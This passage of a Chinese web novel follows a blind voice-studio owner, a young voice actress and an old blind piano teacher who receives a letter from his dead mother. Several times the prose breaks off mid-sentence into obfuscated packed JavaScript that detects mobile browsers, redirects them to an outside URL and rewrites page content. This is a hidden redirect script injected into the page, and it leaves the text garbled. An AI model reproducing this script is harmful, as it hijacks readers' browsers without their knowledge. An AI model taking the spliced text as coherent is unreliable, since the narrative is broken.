“Attentionplease,theflightyouareonisabouttodepart.” “Check,wothree.Again,wothree.” 秦叠像闻见了咸咸的海风,连发尾都不自觉上扬,风里带着椰子和百香果的味道,男声肃穆而不呆滞,自然而然地在空中响起。 如天神降临一般光芒万丈。 …… “会了吗?”池晚桑转过头来,琥珀色瞳孔里清晰地倒影出秦叠的样子。 “啊?”秦叠完全沉浸在配音里,这时回过神来,楞了楞,“你是靠什么技巧配得这么专业?” “凭感觉。”池晚桑摘下耳机,不动声色,“再来一遍吧。” 秦叠:“……” 池晚桑回到操作台前刚坐下,听到秦叠重新配的音后,眉头不自觉上扬。 明显进步了很多,女孩很有悟性。 这时旁边一个好事的男生像个螃蟹一样横步挪过来,热气逼得池晚桑礼貌性微微向后仰。 “池老板你……里面的姐姐是你女朋友吗?好漂亮,声音也好听。” 池晚桑皱了皱眉。 旁边录音师带着耳机全神贯注在秦叠的声音上,没有注意到这边的动静,于是池晚桑嘴角拉出点点弧线,也小声道:“不,她是我妻子。”随即又用酥到骨头的气声轻声道:“别太张扬,她不喜欢太多关注。” 女孩明显有些震惊,眼睛都忘记眨了下,讷讷地“嗯”了声才僵硬地转过身去。 可消息总是不胫而走,在无数次“别告诉别人”“我只告诉你”的提醒下,池老板已婚成了这群人中心照不宣的事情,以至于当秦叠最后录制结束,好心劝导两方不要太敌对,相互交流学习才能进步时,所有人都一连串应下,心思却早不在这上面。 看着几人离去时“和睦”的模样,并不知道此时一群人勾肩搭背讨论着什么的秦叠有些无奈,“青春期这么善变的嘛?” 她回头看了一眼继续“装傻”的池晚桑,“要一起回去吗?” 池晚桑摇摇头,有些无奈地将双手插在兜里,耸耸肩,没骨头地斜靠在木质门框边,竟有一丝俏皮劲儿。 “不了,我去见一个人,你先回吧。” “那你, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13582748|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注意安全。”秦叠看了眼他身边的岫白,想起这个男人一次次带给自己的惊喜,又觉得自己多虑了。 池晚桑轻声笑了笑,偏偏头,阳光正好落在侧脸上,照亮额前碎发下的阴影,“知道了。” 秦叠回到家里,打开门,面前整洁干静的装修,檀香木清香,窗明几净,和之前出租屋洗不掉的霉味,忽明忽暗的灯光,不通透而闷热难耐的房间形成鲜明对比。 她还是楞了瞬,才移步走进去。 像是走进了另一个梦里,美好的,不染尘埃的气泡。 秦叠坐在懒人沙发上,将整个人陷进柔软的包裹,放松一上午的疲惫,忽然想起老瞎子的求助,犹豫了两下,还是回拨过去。 电话没隔多久就接通了,也许是这个时间段志愿者不多,老人没得到帮助,一直守着电话。等秦叠看到他时,他的脸上蒙了层疲态,没有焦距的眼睛里竟然可以看到一丝失落。 “老爷爷?”秦叠轻声问,“发生什么事了吗?刚才没接到你的视频。” 听到电话里的声音,黎宜眼神这才有了闪动,他将头低下来,叫了声小秦,“你快先帮他看看,这儿附近有没有地铁站。” 说罢,视频就被拿起转了一圈,手机持得很稳,像是习惯了这样的求助,连角度都能清楚准确地看到周围的一切。 有些令人心酸。 黎宜一边还对着旁边的男人不停唠叨,“这个软件很有用的,很多人愿意帮忙,你这样横冲直撞,太危险了,盲人带上墨镜和普通人没什么两样,没人注意到你,万一被撞了你说怎么办?所以啊,快去下载这个软件,很有用的,这个小姑娘都帮了我好几次,我们都混熟了,你看!” 男人比较腼腆,话少,简单嗯了一声,秦叠便看见不远处的地铁口,连忙道:“停!就在您正前方大概五十米的位置,有盲道直达过去!” 黎宜像是得到满意的答案,向别人炫耀自己孙子考试得了第一一样骄傲,笑道:“你看,我说志愿者都很好吧!小秦你再帮忙看看他的导盲犬受伤没,我遇见他的时候啊,差点被车撞了,可吓人了。” 秦叠顺着黎宜的指示,屏幕里是一只金灿灿的金毛,盯着黎宜傻乎乎地吐气,黎宜不放心,硬是围着它转了七.八圈,秦叠再三检查无误才放行了这位可怜而又莽撞的盲人老大哥。秦叠乐呵呵看着他牵着导盲犬,浑像一个被班主任教训完毕的小屁孩,丧眉搭眼地朝地铁站走去,这才发现不对劲。 “诶,您怎么一个人在外面啊?出什么事了吗?” “我收到一封信,”黎宜这才又叹了口气,“但周围不是盲人就是文盲,我想让人帮我看看,这信是打哪儿来的。” 再简单不过的原因…… 他的声音有些颤抖,秦叠意识到寄信人可能是很重要的人,呼吸也跟着谨慎了些,艰难地从懒人沙发里爬起坐直,看着屏幕里的信封,等待摄像头聚焦。 黄色羊皮纸上钢笔墨水印记由模糊逐渐清晰,她一字一句念道: “清远市,镇安街道,1102号。” 话音刚落,她明显看到拿着信纸的手微微用力,将薄纸在指缝间压出深浅不一的折痕,秦叠轻声喊了句:“爷爷?” “黎叔!” 此时,不远处有个男人的声音在街角响起,穿过车流,混杂在发动机的咆哮,喇叭的轰鸣,还有人群嘈杂的话语中,但却突兀且清晰。 像是久旱逢甘霖的润泽,荷叶清香在夏风中缓缓摆动,即使在红尘翻滚的人群里,也能一下子抓住耳朵的声音。 24. episode24 池晚桑去养老院找黎叔时才知道他出去了。 这么些年,他不知道多少次劝这位老顽固多出去走走,总是被一句“瞎子还能到处看什么”给堵得哑口无言。软的硬的他都来过,装作在养老院门口摔了一跤,打电话给黎宜,不出意外只会收到一句“慢慢爬起来就好了”。 要是硬来,老年人知道自己哪儿脆弱,往后一倒,不把未来一周的饭菜给碰瓷高一个等级,他就不姓黎。 对于黎宜的经历,池晚桑知道的不多,他是在失明之后才认识的这位老师,黎宜受外婆委托,继续教他钢琴。不是之前的钢琴老师不愿意教一个盲人,相反,失明对那时候的小池晚桑打击太大,除了外婆,他不愿意再见任何人。 黎宜第一次进门的时候精准抓住了他因为撒气扔过去的枕头,冷笑两声说这点雕虫小技可还伤不了他一个瞎子。 他不像别的老师,处处考虑到眼睛的问题,小心谨慎小心翼翼,把池晚桑当做一个瓷娃娃供起来。黎宜听到一个错音便会毫不犹豫且准确无误地在他脑门上留下一个脑瓜崩,第一次打在池晚桑脑门上时,脆生生的响,一老一小当场愣住。 他说:“不喜欢别人特殊对待自己,首先自己得站起来。你一直跪在地上,路过的人心善想拉你一把,还被你吐一身的唾沫,谁吃多了撑得来受这个罪?” 池晚桑失明后外婆也没让他放弃钢琴,对于一个伸手不见五指的人来说,弹成那样已经是不易,却被这不知从何而来的瞎老头劈头盖脸一顿骂,他不服气。 和自己赌着气赌着气,就继续弹了下去。 他以前无意间听见过黎宜和外婆的谈话,只知道黎宜一辈子没娶妻,失明之前倒是有个姑娘和他在一起,失明后,不知怎么的就断了联络。 想到这层,又听人说黎宜今天收到一封信,想必是那个姑娘送来的。老了老了怀念起青春时情窦初开,意气风发,难免冲动,他不放心跟着找了出来。 可他一个盲人,又能找到什么…… 什么都看不见。 不知道为什么,这种绝望的时候脑海中第一个想起的不仅是苏木,还多了一个秦叠。在他即将拨通那个号码的时候,听见了不远处老头子絮絮叨叨的声音。 “你记得下一个软件啊,很好用的……” 而秦叠的视频通话也在老年人太过激动的情况下,被不小心挂断了。 屏幕上突兀的一片漆黑,倒影出她有些茫然的表情,还有身后不远处矮柜上池晚桑和岫白的合影。 “小池?你怎么过来了?”说出口的话带着点鼻音,而眼角的泪水已经顺着脸上蜿蜒曲折的皱纹颤颤巍巍挂落。 没人看得见,也没人会戳破这鼻腔共鸣明显过多的非自然声音。 池晚桑只楞了瞬,嗯了一声,拉着他就往养老院走。 “你装什么冷漠,刚才喊我那么大声……”黎宜杵在原地,“别拉我,刚志愿者都要给我念完了,你这一嗓子吼得我手抖,给人挂断了。” “……我叫了苏木来。”池晚桑右手还是拉着他不松手,用力不大,毕竟两人都不方便,他喊了声岫白,左手上一使力,两人便都跟着岫白找到了方向。 黎宜听罢乖乖跟着走,嘴里小声嘀咕着:“苏木啊,这孩子来了耳根可要不清净了。” 苏木带了两盒果篮过来,听说上次老头子突发奇想想吃炸鸡,这次也特地带上两只炸好的鸡翅,一进屋就醇香扑鼻,油香四溢。 “我说黎叔啊,平时拖着你你死活不肯出去,今天怎么自己瞎跑啊,把我家晚桑吓得够呛,打电话过来的时候声音都是抖的你知道吗?” 苏木自己拆开一盒果篮,毫不见外将一根香蕉掰成两段,递给池晚桑一根被无视后又递给黎宜。 “你可不知道你在我家晚桑心里有多重要,这小子平时装高冷,其实谁也离不得。”他塞进嘴半根香蕉,嘴巴上还不停,“他啊就是怕太靠近了,终究会离开,最后伤心不如一开始就离得远远的,你知道的吧……” 池晚桑不耐烦地“啧”了一声,换个腿翘二郎腿,将信纸“啪”地一声拍在桌上,“没人当你哑巴,留着点口水念这个。” 苏木瞪他一眼,被池晚桑察觉正要一巴掌呼过来,他侧身往黎宜身边一躲,笑嘻嘻地说:“黎叔,我口水多,保证能给您念完哈。” 话没说完,又被黎宜一巴掌将脸给推开,“别靠太近对着我说话,盲人耳朵比你好。” “咳咳咳,清远市,镇安街道,1102号。”苏木不再皮,清了清嗓子,打开信封。“宜儿,近来可好,见字如面……” 来信人字迹娟秀,一笔一划修长流畅,却又如竹节般不失力道,带着向上生长的生命力。 写信人是黎宜的妈妈,而镇安街道1102号,正是他无法忘记的家庭地址…… 带给池晚桑继续生活下去的勇气后,黎宜将自己感悟到的弹奏方法也一并交给了他,便离开了。他不算什么钢琴大师,在别人眼中不过是一个没用的瞎子,靠着失明前掌握的一点技艺和别人的同情度日。 他是一个失败者,他早就意识到这点。但他不想让这个正值青春的孩子也有一样的想法,于是在池晚桑外婆找到自己的时候答应了这件事。 黎宜的女朋友因为自己失明离开了自己,这不怪任何人。但他的妈妈没有办法因为他失明而抛弃他,他怪自己。 母亲在印象中是个坚韧的女人,即使他自暴自弃的时候仍会若无其事地让他去洗菜和扫地。弄得一地混乱,再重新整理好就行,他再怎么发脾气,母亲从未心软,从未给他施舍。 也从未生气。 慢慢的,他靠摸索捡起了遗忘已久的音乐,并在音乐里找到心灵的一个支点,在这片遮阳伞下,他在黑暗里躲避雨点,跟着风声起舞。他教小孩子弹钢琴,没有视力,教学的效果却出奇的好,母亲每天就在街角两平米的裁缝店等着来往的人光顾。 以为母子俩会一直这样过下去,可在他从池晚桑家回去的时候,母亲把他送到了养老院,只说两人终将会分离,不如尽早习惯。 她会去看他,但她不会让他知道。 黎宜懵懵懂懂以为自己是个拖累,知道自己就像个秤砣绑在母亲脚上一辈子,没法跑步,只能慢走,如今替他找好一个归宿,母亲也应该好过了吧。 “当你收到这封信的时候,我已经到你爸这边了……”苏木念到一半愣住,试探地望了眼池晚桑,池晚桑默契地点点头,他又接着念到:“原谅我的自私,在最后几年把你送走。” “你还记得那天你回来的时候闻见的血腥味吗?我告诉你是新杀的鸡,其实是我的肺出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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步道很空旷,除了柳树枝条互相摩擦,偶有几条鱼浮出水面呼吸空气的气泡炸裂声,远处公园深处提早开始的广场舞音乐稀稀拉拉,几乎没有其他杂音。 池晚桑心里闷得难受,来源于他无法替黎叔分担这份酸楚,也来源于对命运的愤懑和不甘,他越跑越快,跟在岫白身后。 一切声音都模糊成单一的声调,像水面上朦胧的倒影瞬间擦身而过,耳畔只余风刮过耳郭的声响。 呼吸逐渐加快,氧气被排挤出肺部,灼烧喉咙火辣辣的疼,他不得不大口呼吸,任凭胸膛不住起伏。 “池晚桑!” 岫白的步子忽然变慢,左手手腕上被温柔地握住,温度顺着肌肤相触的位置传过来,轻柔却不容质疑的力道。 “这么晚了怎么不回去?手机也不接?” 原来天边已经挂上两三点星星,墨蓝色夜幕可就没有任何温度嘛。但他感受不到,白天与黑夜的交替,彩虹和落日的壮丽,春天和秋天的韵味,他都看不见。 像是没有任何温度的铁质铅笔盒,秋冬之际猝不及防还会被冰得瑟缩一下。 可他此时却分明感受到了太阳。 温暖的。 可触摸的。 他楞了瞬,反手抓住秦叠的手腕,没用全力,生怕折断了这双细腕,随即向怀里一用力,将秦叠整个人揉进怀里。 他低下头,将鼻尖靠在秦叠颈窝处,深深吸了一口气,闭上眼睛,又将她搂得更紧了些。 池晚桑的声音哑哑的,“让我靠一会儿,行吗?” 25. episode25 池晚桑天黑了还没回去,想必自己在外面吃过了,秦叠自己去楼下买了份泡面,宠幸了回酸辣粉贵嫔,却吃得索然无味,还满屋子的味儿。 途中收到余庆的消息,说是老家寄来了猕猴桃,拿给她一份,问她新家地址,秦叠想也没想就将池晚桑家地址送了出去。 她打开窗户,拿着抱枕来来回回扇了几遍,确保屋内没味儿后,颠三倒四躺在沙发上刷视频,之前美食博主却自打她搬进池晚桑家后,再没更新过。 想必博主也是被这丑陋的生活给弄无语了。 秦叠啧了一声,换了身衣服就下楼去找池晚桑,这么晚能去哪儿?结果没走几步,就在河边步道上看见一只大黑狗跑得气喘吁吁…… 池晚桑抱着秦叠的时候才发现,他不是孤零零一个人,有人会在他不按时回家的时候出来找他。 秦叠身上的味道很香,清幽的花果气息,不浓烈,淡淡余韵萦绕,池晚桑迟迟没有松开手。 秦叠明显感受到气氛不对,虽说她和池晚桑之间的界限一直保持着很好的距离,但此时已经抱上,她再不愿意插手别人的私事也不能装傻了。 等了片刻,她轻声问了句:“怎么了?” 耳畔噗嗤一声,似是淡淡苦笑,但伪装的很好。池晚桑笑着说:“跑太累了,你不是说岫白是只胖狗嘛,带着它运动运动。” 撒谎。 他不愿意对秦叠敞开心事倒也能理解,不过秦叠家里的事被他误打误撞知道了七.七.八.八,她心里还是有些不平衡。 “导盲犬还能带着你跑步?” 语气挖苦和质疑,但她也隐藏得很好。 池晚桑听出来秦叠语气的里的不满,爽朗地笑了声,“确保安全的情况还是能跑的,好久没这么疯了……” 他顿了顿,似是自嘲,“刚失明的时候,平衡很差,走路都歪歪斜斜的,更别说跑了。” “哎!”秦叠觉得有必要不让话题往低谷滑,“岫白其实也没那么胖,它……” 她又看了眼大黑狗,夜色下一双锃亮的眼睛圆润地盯着她,“它的肉,长得很均匀……” “……嗓子怎么哑了点?”池晚桑和她并排往家的方向走,秦叠站在树丛一侧,因为会有旁逸斜出的不羁树枝想和路人亲密接触,“下午练了会儿配音?” “嗯,今天早上重来了太多次,过意不去,前两天林桐姐又给了我个动画片的活,得提升一下,回去练了练。”秦叠咳嗽两声,音调抬高,尽量不显得太夸张。 路灯是暖黄色的,从头顶打下来,睫毛在池晚桑脸上落下很好看的阴影,照的琥珀瞳孔更加透明,秦叠看得有些出神,脚下一扭,被池晚桑自然伸手一带。 “你……”秦叠不给池晚桑机会教育他,立马将话题转移,“眼睛很好看,和普通人没什么两样。” “是嘛,”池晚桑笑笑,将手收回来,眼角微微弯了些,“我去北京做过两次手术,可能还是有点效果吧。” 两次手术并不是为了让眼睛好看,而是太疼了…… 但是手术却只能缓解疼痛,不能恢复视力。他在平时也有刻意地矫正眼睛姿态,为的是不让自己看起来太奇怪。 池晚桑自诩不是一个肤浅的人,但秦叠这样说,池晚桑还挺开心的,因为黎叔的事心里散不开的郁闷此时像是莫名其妙找到一个口子,抽水马桶一样,瞬间螺旋下降,顺着一个宣泄口流逝了出去。 “我不能帮你融入桉羽她们你知道吧,你得靠实力,让她们觉得你进聆镜是不可挑剔的,她们给你任务并没有恶意。” 他停顿了下,像是在酝酿措辞,“我看不见也你知道的,不用在我面前装高兴,我看不到,也不需要看到。” 虽然池晚桑把她想得太脆弱和敏感了,她心里还是淌过一阵暖流,温温热热的。 “我知道,池老板,你也不用担心我。”秦叠左右看了看旁边没人,拉着池晚桑的右手往前带,“岫白,走!” “怎么了?”池晚桑被忽然一拉,不得不跟着跑。 “不是说很久没跑过了吗?今天晚上我带着你畅快地跑一跑!”秦叠大声笑着说,转头看池晚桑的脸上也绽开一层笑意。 他们跑得不快,河边气温偏低,风是微凉的,轻轻掀起额前的碎发,带着醉人的潮意和新芽的清爽。 池晚桑难得露出牙齿笑,没有声音,但是畅快的。 秦叠的手心是温暖的,耳边刮过的风是轻柔的。步道上路灯不亮,却丝毫不影响他们的奔跑,带着一条狗,肆意地,在无人发现的角落,静默的。 青春期过后,不只是池晚桑,秦叠也再难有这样撒欢的行为了,被外界不断提醒要举止得体,礼貌温顺。 六月夏季的风时隔四年,从梧桐巷子里吹到市郊河边,身边人还好没不见。 快到路口的时候两人默契地停下,平缓急促的呼吸。偶有过路的旅人拖着疲惫的神色,埋头在手机里似乎永远不会被打扰。 秦叠望着池晚桑呵呵傻笑,池晚桑也“看”着她的方向跟着傻乐,快乐是一种氛围,不用眼睛也能感受到。而刚才的一切都是不为人知的故事,属于他们两人的秘密。 苏木的电话打来,秦叠听一点声音就能认出曾经的偶像,不过现在她已经转粉了。 “你回去了吧?说想一个人走,我可没有跟踪你哦。”苏木等到池晚桑漫不经心的一声嗯,又接着说,“明天你得给那个剧录个花絮宣传,可能会直播,没问题吧?但是……” 其实有问题,苏木做好了这位祖宗拒绝的打算,大不了就将甲方爸爸降个辈分,甲方哥哥也不错。 “可以。” “什么?”苏木使劲眨了眨眼睛,想看清楚什么,怀疑自己耳朵听错了,又觉得没对,掏了掏耳朵,“你说什么?其实也不用勉强的,池晚桑你没事吧?心里不舒服要给我说听见没,憋着会出大问题的……” …… 池晚桑挂了电话。 红灯持续时间很长,耸入云霄的写字楼,灯带跟着在黑夜里蜿蜒起伏,不远处巨大的荧幕上广告着国庆档即将上线的一部合家欢电影,四世同堂,老老小小,整整齐齐,或打闹或俏皮,皱着的眉头上也写的是鸡毛蒜皮的幸福。 秦叠一时有些愣神,不自觉向前走了步,被一只手横在身前拦住。 红绿灯有语音指示通行情况,所以池晚桑知道还不是绿灯,他放下手机,侧头看向秦叠,“红灯。” 他的语气有些着急,甚至为秦叠这鲁莽的一步带着些谴责。 远处广告变化成了一个毫无破绽,吹弹可破,白的甚至有些刺眼且现实中根本不可能存在的女人在给什么护肤品宣传,秦叠这才反应过来,讪讪地说:“啊不好意思,没注意到。” 池晚桑意识到自己语气里的怒气,将拦在秦叠面前的手收了回去,“我,之前出过车祸,有点过激了抱歉。” 车祸?是外婆给秦叠说过他失明的原因吗?如果真是这样,不留下阴影是不可能的。 旁边灯柱上音响叮的一声,一个女声毫无感情地响起:“绿灯,请通行。”接着是跟着倒计时跳动的“嘟”音,白天嘈杂听不清楚,晚上一旦安静下来,显得有些刺耳。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598897|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “绿灯了,走走走。”秦叠还是要感谢这个冷漠的女音,快走一步替池晚桑开路。 小区门口烧烤摊随着夜色开张,滋啦一声,油刷扫过焦香的烤肉,香葱和蒜泥的味道浸出,炭火上油珠在蹦迪,秦叠咽了咽口水,头也不回进了小区。 虽说她吃完泡粉之后足足通风半小时,打开门后池晚桑一句“酸辣粉”,三个字就让她破防了。 就像小时候吃完辣条,沿路张嘴吃风,想换掉嘴里的气味,却总逃不过妈妈的法鼻。她再一次被抓包当场。 “冰箱里我冻了有饺子,忙不过来的时候吃的,懒得做饭的时候也可以吃。你要吃吗?”池晚桑走到灶台边,拿锅接水,“我饿了。” “吃吃吃!”既然不是专门给她做的,却之不恭。这是秦叠发现和池晚桑一起住最大的好处。 吃得好,才是真的好! 带着胃里满满的幸福睡下,好觉到天明。 秦叠大学体育修的是太极,起床心情很好地练了两招,看见池晚桑顶着鸡窝头出卧室门还好心劝导他和自己一起锻炼身体。池晚桑婉言拒绝了她,洗漱的时候觉得自己对当今大学生还是了解的不够,想起黎叔逢人便安利的APP,决定找个时间也和志愿者交流一下怎么和女生相处。 他采用的是匿名文字提问的方式,于是隔天秦叠便收到一条求助。 问:怎么和注重养生的年轻人相处不显得无礼? 回:打不过就加入。 一人满心幸福,一人满脑疑问,两人这天早上竟都忘了错开时间去工作室,不过录音室排期太满,大家等着秦叠上午录动画片,下午池晚桑还要拍宣传片,没来得及咀嚼这一而再再而三的巧合。 沈桉羽今天也到的很早,毕竟苏木那个大嘴巴昨晚就通知了所有人池晚桑今天要上镜,这对于聆镜来说,不亚于太阳从西边出来,陈藻在工作室倒背金刚经,苏木一整天一言不发装哑巴。 她听完周末的录音,摘下耳机朝秦叠竖了根大拇指,“工作室没有被炸毁的痕迹,成品优秀,周末看来进行得很顺利嘛。” 秦叠看了眼直直走向办公室的池晚桑,耸了耸肩膀,偏偏头,“小菜一碟。” 她今天的状态不错,不知道是昨晚跑步打通了任督二脉,还是那顿及时雨的晚饭净化肠道的同时净化了声带,大部分几乎都是一条过。 秦叠十分满意,她最终还是归功于昨天下午持之以恒的练习,天道酬勤,她算是尝到了一点甜头。 除了小熊向熊妈妈撒娇那块,她拉不下脸皮,配出来总是怪怪的。 可就是这么个细节,简单的“妈妈妈妈”四个字,林桐配的太善解人意,沈桉羽配的像是妈妈欠了自己钱,苏木配的太油腻,可以给妈妈炒一顿鱼香茄子,陈藻又……一言难尽。 总之就是,差点意思。 众人把目标转移到了办公室端坐的池某人身上。 秦叠实在难以想象面前挺拔严肃的人,怎么可以配出这么可爱的声音,因为池晚桑站在话筒边,听见前面一个个惨不忍睹的叫妈,脸上一顿神秘莫测。 他干咳了两声,不太好意思地背过身去,从秦叠的角度只能看见一个沉默的背影,衬衣线条利落流畅,袖管被随意挽起半截。 小熊顽皮软糯糯的声音就这么从耳机里传出来。不显造作,更无刻意伪装。 就是。 可爱至极。 让人难以和下午反派男二的清冷声线联系起来。 在场的人都没声了,一半是震惊,一半等池晚桑转过身来后…… 全场爆笑。 26. episode26 “我们池小熊还挺会撒娇的嘛。”苏木等池晚桑一开门上去搂过他的肩膀,笑得身子都挺不直。 沈桉羽顺着他调侃,“我要是有这么可爱的儿子,做梦都要笑醒了。” 林桐半倚在沙发上,嘴角笑意未散,活脱脱一个慵懒美人,“诶,你现在都会占老板便宜了哈,陈藻你觉得咱老板厉不厉害?” 闻言,陈藻放下不知道从哪里带来的哑铃,手臂肌肉线条由偾张放缓,脸上一片云淡风轻,如果不是知道他社恐,秦叠在路上见着这种人一般都会选择绕道走。 他还认真地分析了句:“声音夹得适当,就是有些太理性了,不像脑子里只有吃喝睡的傻小孩。” 听完他这分析,在场又是一场大笑。混杂在笑声中,偶有一两声咳嗽,可秦叠却有种莫名的感觉,她在渐渐融入,没有依据,找不到证据,人与人之间的相处就这样细水长流的,在每一次不经意的汇入中交缠融合。 苏木的阳光,陈藻的可靠,沈桉羽的敢闯敢做,林桐的细心体贴,池晚桑的包容谦恭,整个工作室植物的光合作用下,共同释放出聆镜的潜力。 当然,现在还包括了秦叠。 “嗓子不舒服啊?”林桐注意到秦叠刻意压抑的咳嗽,“带水杯了吗?干我们这行得多喝水才行。” “我那儿有金嗓子和西瓜霜,待会儿拿给你。”陈藻听见也插了句。 秦叠笑着摆摆手,“不用,没那么严重。水杯倒是一直想着买都忘了,下班就去准备一个。” “诶,不用买了,正巧今天池老板说发员工福利,一人一个大水杯,还有些润嗓子的糖片,下午发给大家。”苏木朝池晚桑啧了一声,毫无缘由的员工福利原来狙击点在这里,和他认识这么多年,还发现不了问题苏木就真不用活了。 说完苏木扬眉望向秦叠,“怎么样,聆镜员工待遇不错吧,入职保准不后悔。” 池晚桑扒拉开挂在他身上的苏木,朝厨房走去,丢下一句“今天吃饸络面”堵住苏木的嘴。 身后传来苏木轻快的口哨声。 工作室因为改变逐渐有了起色,每个人手头上的活都多了起来,秦叠也把微博上清一色看上池晚桑颜值的导演给一一回绝。 她拿到一份电视剧配音,小角色,但贵在贯穿整部剧始终,存在感强。她应下的时候很激动,因为这部剧是按集分成,等于她很有可能在研究生开学前赚足学费。但扬起的心情还没飘到一会儿,,就被这部剧的制作周期给狠狠甩了一耳光。 时间上来不及。秦叠逐渐低落的声音引得池晚桑忍不住抬头“看”了她一眼,但也没多问什么。 仙侠剧的宣传往往都是铺天盖地耗费资金和资源,池晚桑下午和几位主创的直播也不例外。还没开始的时候,直播间就已经等待了5000人,秦叠对这个数字有些恐惧,但她没告诉池晚桑,即使是自己小题大做了,她也不想他分心或紧张。 他们几个员工在摄像手机的后面站了一排,双手抱胸,身高没有太大差异,面容是一色的俊美清秀,换上黑色西服,妥妥的高级保镖。 而被保护的那个人对他们的紧张和这一切一无所知,只是当做一次平日里的录音,尽力就好。 “啧心态真好。”苏木在秦叠耳边嘀咕了句,眼珠子就没离开录音室里的池晚桑。 秦叠礼貌性看了他一眼,不由地战术性后仰,“啧,苏老板准备也真充足,竟然还有时间画个淡妆。” 苏木笑笑,“小菜一碟,不足挂齿。” ……重点好像不是在这儿。 苏木不像池晚桑的脸那么凌厉,线条切割清楚,阴影配合到位,池晚桑很白,不需再有多的修饰便有一种天然的气度。 苏木长得更是婉约派些,粉墨在脸上点涂,勾勒唇角,眼帘更加深邃,淡妆却将气色抬升一个级别。 “苏老板,池老板一直都是凭感觉配音吗?”秦叠继续将视线定格在池晚桑身上,想起他之前说的话。 “气人不?人就就是老天赏饭吃。”苏木刮了刮鼻头,“不过他也有练习的,方法和我们这种庸人不一样罢了。” “啧,太气人。” 身边的人一个个入镜,最后只剩秦叠一个人在镜头背后,做这场直播唯一的线下观众。 她不是第一次听聆镜线下的配音了,可这次是他们所有人第一次公开亮相,在幕后默默干了这么久,未被关注,未被鼓励,一直坚守,一直努力,这是聆镜应该拥有的未来。 池晚桑的发挥不出意料是最亮眼的那个,这次算是彻底碾压了苏木的粉丝,还有不少临阵倒戈的,在弹幕上向曾经的偶像致以深深的遗憾。 【苏兄,今当远离,临表涕零,不知所言~】 【小孩子才做选择,这两个男人我都要了!】 【誓死捍卫苏家阵地,苏木,妈妈爱你——】 弹幕上的戏份甚至比现场略带狗血的仙侠奇幻大剧更能吸引人,秦叠拍拍差点为池晚桑折服的膝盖,坚强地站了起来,凑在屏幕前看网友们的神评。 然而一个数字吓得她闭上眼睛,连做三遍眼保健操,滴了五六滴眼药水,才又胆战心惊再次看向屏幕。 九万加的在线人数! 她咽了咽口水。 聆镜这是要出息了啊。 最后的环节是几位演员和网友聊天答疑,看着屏幕里一水的让最边上的帅哥发言,大家面面相觑了下,在另一头的林桐却先开口。 不怪别人看不出来,池晚桑上镜很好看,棕褐色眸子在聚光灯下显得格外亮,清泉般深邃,和常人别无二致。 也许没了感情和焦点,甚至更清亮。 “感谢大家关注聆境光合,我是配音演员林桐。”林桐姐的声音中永远有一根柔骨,温柔却不失风度,让人听得很舒服。 她看了眼弹幕留言,从刷屏的池晚桑中,艰难地找到一条问她的问题,笑了笑,“我不是学配音的哦,偶然间在路上遇见我们老板,像是被星探发现了一样哈哈,不过非常幸运能够在聆镜工作,这儿就像是我的另一个家一样……” 林桐的确是被池晚桑在路上发掘的,不过场面没有那么美好。 她没读过大学,高中毕业就在家里帮忙务农,靠天吃饭,土地面积并不大,勉强能给母女两糊口。庄稼人整日里风吹日晒,难免皮肤要糙些,可林桐妈妈心疼女儿,手套遮阳帽等用具给她准备的一应俱全。 哪个女孩子不爱美的,林桐懂事,她也不能袖手旁观。 可劳累了一辈子,长时间弓腰驼背,田里又虫蚁横行,灾害来临,说倒就倒。 所以池晚桑遇见林桐的时候,她是在街上乞讨。 真的是走投无路了,因病致贫,急需大量的费用,当时女孩头顶的天都塌了,哪还顾得上什么脸皮。 她就在街上唱歌,选在人群最密集的公园和游乐场。她的声音条件很好,小时候在山里对着山谷听回响,清亮而爽朗,如山间自由的雄鹰,松间高悬的明月,崖下奔腾的河水。 只是那时候歌声里总有淡淡哀戚,挥之不去。 来往行人密切,却没有人的脚步为她停留,直到一根通体亮黑的盲杖敲敲打打停留在她面前。 “你的声音很好听,请不要浪费它,”池晚桑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612344|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 羞赧地笑了笑,“抱歉我也没有钱,不过如果有机会,欢迎来聆镜。” 男人蹲下,摸索着将兜里所有的零钱都放在她手里。 夹杂着聆镜的名片。 她楞了很久,那天中午,林桐用其中一部分买了杯泡面,坐在公园角落的凳子上思考池晚桑的话。 然后一个女孩子傲慢的声音从旁边不怀好意地响起,“你为什么愿意来要钱都不愿意去工作挣钱?” 